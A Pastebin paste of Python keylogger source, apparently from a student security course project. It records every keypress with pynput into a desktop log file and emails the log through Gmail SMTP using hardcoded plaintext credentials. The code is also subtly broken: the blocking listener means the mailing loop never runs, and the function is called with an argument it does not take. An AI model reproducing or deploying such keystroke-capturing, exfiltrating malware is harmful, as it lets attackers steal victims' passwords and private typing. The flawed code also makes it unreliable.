Advertisement
Guest User

Untitled

a guest
Dec 8th, 2019
184
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.39 KB | None | 0 0
  1. from pynput.keyboard import Key, Listener
  2. import logging
  3. from time import sleep
  4. import smtplib
  5. import datetime
  6. data = ''
  7.  
  8. log_dir = r"C:/users/enrique/desktop/"
  9. logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
  10.  
  11. def on_press(key):
  12. logging.info(str(key))
  13. with Listener(on_press=on_press) as listener:
  14. listener.join()
  15.  
  16. f = open("C:/users/enrique/desktop/keyLog.txt", "r")
  17. data = f.read()
  18.  
  19.  
  20. def send_mail():
  21. global data
  22. while True:
  23. if len(data) > 10:
  24. timeInSecs = datetime.datetime.now()
  25. SERVER = "smtp.gmail.com"
  26. PORT = 587
  27. USER = "CMPE132KEYLOGGER@GMAIL.COM"
  28. PASS = "CMPE132PROJECT"
  29. FROM = USER
  30. TO = [USER]
  31. SUBJECT = "B33: " + timeInSecs.isoformat()
  32. MESSAGE = data
  33.  
  34. message_payload = "\r\n".join((
  35. "From: %s" % FROM,
  36. "To: %s" % TO,
  37. "Subject: %s" % SUBJECT,
  38. "",
  39. MESSAGE))
  40. try:
  41. server = smtplib.SMTP()
  42. server.connect(SERVER, PORT)
  43. server.starttls()
  44. server.login(USER, PASS)
  45. server.sendmail(FROM, TO, message_payload)
  46. data = ''
  47. server.quit()
  48. except Exception as error:
  49. print
  50. error
  51. sleep(5)
  52.  
  53.  
  54. send_mail(data)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement